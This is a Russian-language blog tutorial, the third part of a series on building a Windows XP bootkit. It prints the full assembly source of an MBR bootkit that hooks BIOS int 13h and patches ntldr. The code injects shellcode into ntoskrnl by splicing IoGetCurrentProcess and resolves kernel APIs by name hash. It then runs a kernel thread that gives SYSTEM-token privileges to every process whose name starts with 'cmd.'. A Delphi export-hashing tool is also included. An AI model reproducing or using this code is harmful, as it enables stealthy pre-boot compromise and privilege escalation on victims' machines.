Буткит своими руками — Часть 3. Эскалация привилегий
Пособие для детей преклонного возраста
Доброго времени суток! Вот и подошла заключительная часть нашего цикла о буткитах. Настало время наделить наш буткит сверхъестественной способностью — повысить привилегии. Если вы не читали предыдущие посты, то вот они: Bootkit своими руками — Часть 1 и Bootkit своими руками — Часть 2. Думаю, не стоит объяснять, что это всего лишь малая демонстрационная часть буткита. На самом деле, святая обязанность буткита подготовить среду для руткита и загрузить его при старте системы. Всё остальное должен делать уже сам руткит. Но в нашем случае, мы не будем писать руткит, а запустим поток в режиме ядра, который каждые 30 секунд будет пробегать кольцевой список структур _EPROCESS и просматривать первые буквы поля ImageFileName. Если первые буквы имени процесса будут ‘cmd.’, то мы повысим ему привилегии до уровня системы. Но сейчас давайте остановимся и посмотрим, что мы имеем на данный момент и составим алгоритм дальнейших действий.
Пройденный путь
На данный момент у нас есть код, который запускается из MBR, перехватывает 13h прерывание BIOS. Данное прерывание выполняет чтение данных с секторов диска в память. Наш обработчик этого прерывания пробегается по прочитанным данным и ищет там сигнатуру файла ntldr. Ntldr — системный файла операционной системы. Его задача — загрузить винду. Именно в нём процессор переводится в 32х разрядный защищённый режим. Также в нём инициализируется ядро ОСи на начальном этапе, запуская файл ntoskrnl.exe. Мы заменили часть инструкций функции _BlOsLoader на переход на наш код, тем самым обеспечив себе возможность существования в защищённом режиме. Хочу подчеркнуть, что на данном этапе мы всё ещё находимся в реальном режиме.
План действий
На данном этапе очень важно подготовить почву для работы нашего шелкода. Наш шелкод должен работать в ядре ОС, поэтому мы должны будем каким-то образом оказаться в его контексте. Чтобы это сделать, можно просплайсить какую-нибудь функцию модуля ntoskrnl, которая вызывается при старте ОСи. Вместо вызова этой функции, мы сначала запустим шелкод, а затем восстановим и вызовем её. Я выбрал IoGetCurrentProcess. Тут есть два подводных камня. Во-первых, чтобы установить перехват на функцию ядра, нужно получить базовый адрес загрузки ядра. Во-вторых, чтобы шелкод запустить, нам сначала нужно разместить его в памяти. Причём память должна быть доступна в контексте ядра. Поэтому мы не можем сделать переход на зарезервированную память этапом ранее. Да даже если и могли бы, то не вышло бы, так как память-то физическая, а нам нужна виртуальная. Чтобы отобразить физическую память можно заюзать функцию MmMapIoSpace. Но сейчас мы этого сделать не можем, так как ядро системы-то ещё не развёрнуто! Что же делать?
По первому пункту решение заключается в том, что у функции _BlOsLoader есть одна замечательная локальная переменная — kdDllBase. В ней хранится базовый адрес загрузки ядра. Так что мы просто просканируем память, где загружен NTLDR на её сигнатурку, а как найдём, то сразу же получим ImageBase ядра. Адрес загрузки NtLdr извлекается по фиксированному смещению — esp + 24h. Итак, получаем адрес загрузки ntldr, ищем в памяти переменную kdDllBase и читаем её. Так мы получим адрес загрузки ntoskrnl и сможем просплайсить функцию. Вся эта информация добывается реверсом ntldr. Но мы идём по стопам Alipopа 🙂
По поводу второго пункта: чтобы оказаться в контексте ядра, проще всего записать свой код в виртуальную память, загрузки образа ядра. Тут возникает вопрос, куда бы можно было бы внедрить свой код? Ну так давайте откроем ntoskrnl.exe в HIEW и поищем! В этом файле очень много всяких строк. Вы только посмотрите!
Вы думаете о том же что и я? Лично нас эти строки не особо волнуют. А вот мысль, что вместо них будет располагаться наш шелкод очень даже волнует наши сердца. Поиск этого места будет осуществляться по подстроке «_PEN». Нужно проверить, чтобы эти строки располагались в секции с правами на чтение запись и исполнение. Также неплохо бы убедиться в том, что «_PEN» находится только в строках. Всё это так, так что двигаемся дальше. У нас есть способ получения адреса загрузки ядра, мы знаем где разместим наш шелкод. Осталось только две детали — получение адресов нужных нам функций и передача некоторых данных. Например, адрес загрузки ядра нам будет нужен в шелкоде. Адреса функций тоже. Нужно найти местечко в памяти, которое будет находится в контексте ядра ОС и туда записать. Опять на помощь нам приходит модуль ntoskrnl.exe. Мы будем сохранять всю эту информацию в DOS заголовке, вместо строки «This program cannot be run in DOS mode». Ввиду того, что после DOS Stub идёт выравнивание нулями, то у нас есть около сотни байт в своём распоряжении. Самое классное, что мы можем спокойно туда писать и читать.
Получение адреса функции по хешу от её имени
Данная техника всегда используется в работе шелкодов. Также её иногда использую для того, чтобы скрыть из строк названия функций. Сами посудите, когда открываешь для анализа неизвестный бинарь и видишь там экспорты таких функций, как InternetOpenUrl, InternetReadFile, WinExec, то сразу становится понятно, что, скорее всего, мы имеем дело с даунлоадером. Если использовать получение адресов нужных функций по хешу от имени, то строк не будет. Ещё одно преимущество — экономия места. Размер хеша у нас 4 байта. Самый распространённый алгоритм хеширования — результат ror 0x0D + код символа. Хотя некоторые типы используют для такой цели CRC32. Прежде чем приступить к кодингу буткита, нам нужно закодить тулзу, которая будет нам ещё не раз пригождаться. Тулза будет нам получать список всех имён экспортируемых функций заданного бинарника и их хешей. Вот основной код данной программки:
function getHashFromName(funcName: String): DWORD; Var hesh: DWORD; i: Integer; begin hesh := 0; for i := 1 to Length(funcName) do begin asm mov eax, hesh ror eax, $d mov hesh, eax end; hesh := hesh + byte(funcName[i]); end; Result := hesh; end; procedure TFuncHasher.Button1Click(Sender: TObject); Var name, hesh, str: string; begin LIB_NAME:=edtDll.Text; loadlibraryA(PAnsiChar(LIB_NAME)); ImageBase := GetModuleHandleA(PAnsiChar(LIB_NAME)); pNtHeaders := Pointer(ImageBase + DWORD(PImageDosHeader(ImageBase)^._lfanew)); ExportAddr := pNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; IED := PImageExportDirectory(ImageBase+ExportAddr.VirtualAddress); NamesCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNames)); OrdinalCursor := Pointer(ImageBase + DWORD(IED^.AddressOfNameOrdinals)); memo1.Lines.Clear; For I:=0 to Integer(IED^.NumberOfNames-1) do begin name := pChar(ImageBase + PDWORD(NamesCursor)^); hesh := IntToHex(getHashFromName(name), 8); str := (name + ' : 0x' + hesh); memo1.Lines.Add(str); Inc(NamesCursor); Inc(OrdinalCursor); Application.ProcessMessages; end; end;
Вот что мне нагенерила утилитка:
Тут лежат её исходнички. Теперь, можно приступить к кодингу, а именно к кодингу процедуры, которая по хешу даст нам адрес функции. Для этого нам нужно распарсить PE заголовок, из него вытащить адрес таблицы имён функций, ординалов и адресов функций. Мы будем хешировать каждую функцию и проверять полученных хеш с искомым. Если хеши совпали, то мы нашли функцию. Дальше берём порядковый номер этой функции и читаем ординал по такому же индексу. Полученное число — индекс в таблице адресов. Читаем адрес по такому индексу и дело в шляпе! В
общем всё как обычно. На ассемблере это будет выглядеть так:
;IN edi - hash the required function ;IN esi - base address of PE module ;OUT eax - address the required function or NULL GetFunctionByHash: nop push ebp mov ebp, esi mov eax, [ebp + 0x3c]; //PEheader mov edx, [ebp + eax + 0x78]; //export table add edx, ebp; mov ecx, [edx + 0x18]; //numberOfNames mov ebx, [edx + 0x20]; //numberOfExports add ebx, ebp; search_loop: jecxz noHash; dec ecx; //decrement numberOfNames mov esi, [ebx + ecx * 4]; //get an export name add esi, ebp; push ecx; push ebx; push edi; push esi; //setup stack frame and save clobber registers call hashString; pop esi; pop edi; pop ebx; pop ecx; //restore clobber registers cmp eax, edi; //check if hash matched jnz search_loop; mov ebx, [edx + 0x24]; //get address of the ordinals add ebx, ebp; mov cx, [ebx + 2 * ecx]; //current ordinal number mov ebx, [edx + 0x1c]; //extract the address table offset add ebx, ebp; mov eax, [ebx + 4 * ecx]; //address of function add eax, ebp; jmp done; noHash: mov eax, 0; done: pop ebp ret hashString: xor edi, edi; xor eax, eax; cld; continueHashing: lodsb; test al, al jz hash_done; ror edi, 0xd; add edi, eax; jmp continueHashing; hash_done: mov eax, edi; ret
Осталось определиться какие функции понадобятся нашему шелкоду, получить их адреса и сохранить в DOS заголовке образа ядра. Наш шелкод будет повышать привилегии. Принцип работы я уже описывал в посту Уязвимость в драйвере системы защиты. Тут мы работаем с Windows XP, поэтому единственное, что пришлось поправить — смещения до нужных нам полей. Эти смещения можно достать из отладчика ядра. Из основных рабочих функций нам нужны две: PsCreateSystemThread и KeDelayExecutionThread. Первая функция создаст нам поток. В потоке будет крутиться бесконечный цикл, в котором будет пробегаться кольцевой список из структур _EPROCESS. Функция KeDelayExecutionThread — аналог функции Sleep в пользовательском режиме. Итак, шелкод собственной персоной:
shellcode: start_shell_code EQU $ push ebx push ecx push edx push ebp push edi push esi pushfd call shell_entry kernelBase dd 0 shell_entry: pop eax mov ebp, dword [eax] ;ebp - адрес ядра mov esi, ebp add esi, IoGetCurrentProcess_date mov edi, ebp add edi, IoGetCurrentProcess mov edi, [edi] mov al, byte [esi] ;восстанивливаю оригинальную функцию mov byte [edi], al mov eax, dword [esi+1] mov dword [edi+1], eax mov eax, [ebp + IoGetCurrentProcess] call eax push eax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov dword [ebp + Delaytime + 0], 0xFD050F80 mov dword [ebp + Delaytime + 4], 0xffffffff mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr push ebx pop eax ;eax - shellcode addr mov esi, [ebp + PsCreateSystemThread] push ebp push dword 0 ;StartContext _IN_OPT add eax, THREAD - shellcode ;db 0xcc push eax ;StartRoutine push dword 0 ;ClientId _OUT_OPT push dword 0 ;ProcessHandle _IN_OPT push dword 0 ;ObjectAttributes push dword 0 ;THREAD_ALL_ACCESS mov eax, ebp add eax, THREAD_HANDLE push eax ;ThreadHandle call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,) pop ebp jmp exit_hook THREAD: pushad ;db 0xcc call $+5 @@addr: pop eax add eax, krnlBase - @@addr mov ebp, [eax] xor eax, eax @@sleep: push eax mov ebx, ebp add ebx, Delaytime push ebx ;pointer to delay time push dword 0 ;Not Alertable push dword 0 ;WaitMode - KernelMode mov esi, [ebp + KeDelayExecutionThread] call esi pop eax inc eax cmp eax, 6 ;30 секунд jnz @@sleep mov eax, [fs:KTHREAD_OFFSET] mov eax, [eax + ThreadsProcess] mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov esi, eax ;db 0xcc SearchCMD: mov ecx, eax mov edi, [eax + ImageFileName] mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS sub eax, FLINK_OFFSET cmp eax, esi jz Stop cmp edi, 0x2e646d63 ;'.dmc' jz SetToken jmp SearchCMD SetToken: ;db 0xcc mov[ecx + TOKEN_OFFSET], edx jmp SearchCMD Stop: popad jmp THREAD krnlBase dd 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; exit_hook: pop eax popfd pop esi pop edi pop ebp pop edx pop ecx pop ebx ret end_shell_code EQU $
Для работы шелкода, единственное, что требуется знать, так это адрес загрузки ядра. Снова его получать как-то не то и не сё. Поэтому, применяется техника самомодифицирующегося кода — полученный адрес вставляется в кусок кода. Это сработает только до перехода в защищённый режим. Так как в защищённом режиме писать в секцию кода нельзя. Поэтому мы своевременно сохраним адрес загрузки ядра в переменную krnlBase. Она нам пригодятся, когда шелкод получит управление. А получит он управление, как вызовется в первый раз системой функция IoGetCurrentProcess. В шелкоде следует первым делом восстановить первые 5 байт перехваченной функции и вызвать её. Далее мы запускаем в потоке бесконечный цикл. Кстати, первые 5 байт функции также хранятся в DOS заголовке. Нашим постоянным спутником является небольшая проблема, которая иногда даже раздражает. Нам постоянно приходится пересчитывать адреса до нужных мест. Это связано с тем, что и код-то мы перемещаем то туда, то сюда. Но это решается техникой получения своего адреса — call $+5, pop eax. В eax будет находится адрес инструкции pop eax. Дальше уже просто прибавляем смещение до нужного места. Вот, в принципе и всё! А вот и полный код:
START: mov ax, 3 int 10h mov ax, 0b800h mov es, ax mov word [es:0],261h mov word [es:2],261h mov word [es:4],261h xor ax, ax int 16h cli xor ax, ax mov ds, ax mov sp, 0FFFFh sub word [413h], 2h mov ax, [ds:413h] sti cld shl ax, 6 mov es, ax xor di, di mov si, 7c00h mov cx, 200h rep movsb mov bx, di mov ah, 2 mov al, 2 ;2 сектора mov cx, 2 ;читаю 2 сектор mov dx, 0 ;диск А int 13h push es push @@read_orig retf ;;;;;;;;ISR of int13h;;;;;;;;;;; @@Interapt: cmp ah, 2h jz @@execute cmp ah, 42h jz @@execute db 0EAh dw 0000, 0000 Int_13 EQU $-4 @@execute: mov [cs:int13hFunc], ah pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip call far [cs: Int_13] jc @@int13h_ret pushf cli push es pusha mov ah, 00h int13hFunc EQU $-1 cmp ah, 42h jnz @@int13h_f2 ;;;Disck Address packet ;;;offset range size description ;;;00h 1 byte size of DAP = 16 = 10h ;;;01h 1 byte unused, should be zero ;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors) ;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment) ;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0) lodsw lodsw ;ax = number of sectors to be read les bx, [si] @@int13h_f2: test al, al jle @@ExitInt_13 ;al=колличество секторов для чтения ;ax:=ax*2^9=ax*512b ;es:bx - прочитанные данные movzx cx, al shl cx, 9 mov di, bx mov al, 8Bh cld @@Search_8B: repne scasb jnz @@ExitInt_13 ;не найден байтик ;нашли 8b,ищем 74f685f0h ;8B F0 85 F6 74 21 80 3D cmp dword [es:di], 74F685F0h jnz @@Search_8B cmp byte [es:di+4], 21h jnz @@Search_8B cmp word [es:di+5], 3D80h jnz @@Search_8B ;Если мы тут, значит нашли место в ntldr: seg000:00026C8C ;ntldr ;00026C8C: 8BF0 mov si,ax ;00026C8E: 85F6 test si,si ;00026C90: 7421 jz 000026CB3 -- 1 ;00026C92: 803D10 cmp b,[di],010 ;xchg bx, bx mov word [es:di-1], 15ffh mov eax, cs shl eax, 4 ;физический адрес своего сегмента add eax, StartCODE32 mov [cs:dword_E5], eax mov [cs:MyCode32Addr], eax sub eax, 4 mov [es:di+1], eax ;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру ;mov dword ptr es:[di+3], 03D802174h @@ExitInt_13: popa pop es popf @@int13h_ret: iret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; @@read_orig: xor ax, ax mov es, ax mov dx, es mov bx, 7c00h mov ah, 2 mov al, 2 ;2 сектора mov cx, 1 ;mbr mov dx, 80h int 13h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cli mov ax, [4Eh] ;segment mov [cs:Int_13+2],ax mov ax, [4Ch] ;offset mov [cs:Int_13],ax mov word [4eh], cs mov ax, @@Interapt mov word [4Ch], ax sti @@boot: push 0 push 7c00h retf times 510-($ - $$) db 0 db 55h, 0AAh dword_E5 dd 0 use32 StartCODE32: pushfd pushad NtoskrnlBase EQU 0x40 ;относительно Dos Header, вместо stub. ExAcquireFastMutexUnsafe EQU 0x44 IoGetCurrentProcess EQU 0x48 IoGetCurrentProcess_date EQU 0x4C _PEN_ADDR EQU 0x51 ;IoGetCurrentProcess_date занимает 5 байт THREAD_HANDLE EQU 0x55 Delaytime EQU 0x59 PsCreateSystemThread EQU 0x61 KeDelayExecutionThread EQU 0x65 mov edi, [esp+24h] and edi, 0xfff00000 ;search kddllBase cld mov al, 0xC7 ;_BlLoaderBlock ;C7 46 34 00 40 @@Search_C7: scasb jnz @@Search_C7 cmp dword [edi], 40003446h jnz @@Search_C7 mov al, 0A1h @@Search_A1: scasb jnz @@Search_A1 mov esi, [edi] mov esi, [esi] ;points to base of loader table mov esi,[esi] ;points to first entry it's Ntoskrnl.exe mov edx,[esi] ;points to second entry ,it's hal.dll add esi, 24 ; to obtain pointer to ntoskrnls, base address,it 24 bytes from it's entry mov eax, [esi] mov dword [eax + NtoskrnlBase], eax mov ebp, eax mov word [eax + 2], 0x7897 mov edi, 0x94A06B12 ; hash for PsCreateSystemThread mov esi, ebp call GetFunctionByHash mov dword [ebp + PsCreateSystemThread], eax mov edi, 0x58586D92 ; hash for KeDelayExecutionThread mov esi, ebp call GetFunctionByHash mov dword [ebp + KeDelayExecutionThread], eax ; FUNCTION INTERCEPT mov edi, 0x9DCF1B5E ; hash for IoGetCurrentProcess mov esi, ebp call GetFunctionByHash mov dword [ebp + IoGetCurrentProcess], eax mov ecx, 5 mov esi, eax mov edi, ebp add edi, IoGetCurrentProcess_date rep movsb ;Find Free Space mov esi, ebp call findpend mov dword [ebp + _PEN_ADDR], eax ;COPY SHELLCODE TO NTOSkrnl Free Spase mov ecx, end_shell_code - start_shell_code ;получить адрес шелкода и скопировать его в свободное место add esi, shellcode mov edi, eax ;rep movsb call @@label @@label: pop eax mov ebx, eax add ebx, krnlBase - @@label mov dword [ebx], ebp mov ebx, eax add ebx, kernelBase - @@label mov dword [ebx], ebp mov ecx, end_shell_code - start_shell_code mov edi, ebp add edi, _PEN_ADDR mov edi, [edi] push edi mov esi, eax add esi, shellcode - @@label rep movsb mov esi, [ebp + IoGetCurrentProcess] mov byte [esi], 0xE9 ;просплайсим на свободное место на JMP NEAR xxxx pop edi ;edi - адрес шелкода sub edi, esi sub edi, 5 ;edi - растояние до шела mov dword [esi+1], edi ;адрес шелкода mov eax, dword [ebp + IoGetCurrentProcess] mov dword [eax-4], ebp popad popfd mov esi, eax test eax, eax jnz short Path_Done pushfd add dword [esp+4], 21h popfd Path_Done: ret MyCode32Addr dd 0 shellcode: start_shell_code EQU $ push ebx push ecx push edx push ebp push edi push esi pushfd call shell_entry kernelBase dd 0 shell_entry: pop eax mov ebp, dword [eax] ;ebp - адрес ядра mov esi, ebp add esi, IoGetCurrentProcess_date mov edi, ebp add edi, IoGetCurrentProcess mov edi, [edi] mov al, byte [esi] ;восстанивливаю оригинальную функцию mov byte [edi], al mov eax, dword [esi+1] mov dword [edi+1], eax mov eax, [ebp + IoGetCurrentProcess] call eax push eax ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov dword [ebp + Delaytime + 0], 0xFD050F80 mov dword [ebp + Delaytime + 4], 0xffffffff mov ebx, [ebp + _PEN_ADDR] ;ebx - shellcode addr push ebx pop eax ;eax - shellcode addr mov esi, [ebp + PsCreateSystemThread] push ebp push dword 0 ;StartContext _IN_OPT add eax, THREAD - shellcode ;db 0xcc push eax ;StartRoutine push dword 0 ;ClientId _OUT_OPT push dword 0 ;ProcessHandle _IN_OPT push dword 0 ;ObjectAttributes push dword 0 ;THREAD_ALL_ACCESS mov eax, ebp add eax, THREAD_HANDLE push eax ;ThreadHandle call esi ;PsCreateSystemThread(THREAD_HANDLE,,,,,,THREAD,) pop ebp jmp exit_hook THREAD: pushad ;db 0xcc call $+5 @@addr: pop eax add eax, krnlBase - @@addr mov ebp, [eax] xor eax, eax @@sleep: push eax mov ebx, ebp add ebx, Delaytime push ebx ;pointer to delay time push dword 0 ;Not Alertable push dword 0 ;WaitMode - KernelMode mov esi, [ebp + KeDelayExecutionThread] call esi pop eax inc eax cmp eax, 6 ;30 секунд jnz @@sleep mov eax, [fs:KTHREAD_OFFSET] mov eax, [eax + ThreadsProcess] mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov esi, eax ;db 0xcc SearchCMD: mov ecx, eax mov edi, [eax + ImageFileName] mov eax, [eax + FLINK_OFFSET] ;ebx - Next _EPROCESS sub eax, FLINK_OFFSET cmp eax, esi jz Stop cmp edi, 0x2e646d63 ;'.dmc' jz SetToken jmp SearchCMD SetToken: ;db 0xcc mov[ecx + TOKEN_OFFSET], edx jmp SearchCMD Stop: popad jmp THREAD krnlBase dd 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;THREAD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; exit_hook: pop eax popfd pop esi pop edi pop ebp pop edx pop ecx pop ebx ret end_shell_code EQU $ ;IN edi - hash the required function ;IN esi - base address of PE module ;OUT eax - address the required function or NULL GetFunctionByHash: nop push ebp mov ebp, esi mov eax, [ebp + 0x3c]; //PEheader mov edx, [ebp + eax + 0x78]; //export table add edx, ebp; mov ecx, [edx + 0x18]; //numberOfNames mov ebx, [edx + 0x20]; //numberOfExports add ebx, ebp; search_loop: jecxz noHash; dec ecx; //decrement numberOfNames mov esi, [ebx + ecx * 4]; //get an export name add esi, ebp; push ecx; push ebx; push edi; push esi; //setup stack frame and save clobber registers call hashString; pop esi; pop edi; pop ebx; pop ecx; //restore clobber registers cmp eax, edi; //check if hash matched jnz search_loop; mov ebx, [edx + 0x24]; //get address of the ordinals add ebx, ebp; mov cx, [ebx + 2 * ecx]; //current ordinal number mov ebx, [edx + 0x1c]; //extract the address table offset add ebx, ebp; mov eax, [ebx + 4 * ecx]; //address of function add eax, ebp; jmp done; noHash: mov eax, 0; done: pop ebp ret hashString: xor edi, edi; xor eax, eax; cld; continueHashing: lodsb; test al, al jz hash_done; ror edi, 0xd; add edi, eax; jmp continueHashing; hash_done: mov eax, edi; ret ;Finde Free Space in NTOSkrnl ;IN esi - NTOSkrnl base address ;OUT - eax findpend: ;below function searches memory for 5f 50 45 4e for _PEN,this location is used to store code in NTOSkrnl; xor eax, eax mov edi, esi ;copy kernel base to scan searchagain: cmp dword [edi], 0x45505f53 ; jne contpend mov eax, edi ret contpend: inc edi jmp searchagain overpend: ret times 1534-($ - $$) db 0 db 55h, 0AAh KTHREAD_OFFSET EQU 0x124 ThreadsProcess EQU 0x220 ;// ThreadsProcess : 0x825c8830 PID_OFFSET EQU 0x084 ;// nt!_EPROCESS.UniqueProcessId FLINK_OFFSET EQU 0x088 ;// nt!_EPROCESS.ActiveProcessLinks.Flink TOKEN_OFFSET EQU 0x0C8 ;// nt!_EPROCESS.Token SYSTEM_PID EQU 0x004 ;// SYSTEM Process PID ImageFileName EQU 0x174 ;// process name
Давайте посмотрим, что получилось:

Наш буткит в работе
Таким образом мы запустили в потоке бесконечный цикл, который каждые 30 секунд повышает привилегии до системных всем процессам, чьи имена начинаются с подстроки ‘cmd.’. Самое интересное то, что мы запустились ещё до загрузки системы и контролировали её ход, периодически его модифицируя.
Любезности, благодарности
Чуваки Vipin Kumar and Nitin Kumar выложили в паблик часть кода своего буткита. Хоть у меня он и не отрабатывал, но было на что ориентироваться.
Чувак Peter Kleissner — невероятно крутой чел, который написал целый буткит фреймворк под все оси. Там есть такие готовые коды, как запуск драйвера или внедрение dll в процессы, в общем много вкусностей.
P.S
Хоть и XP в настоящий момент уже мало где используется, в исходнике выше намеренно допущена логическая ошибочка, по понятным причинам. Так что после копипаста придётся чуток подумать.
If you found an error, highlight it and press Shift + Enter or click here to inform us.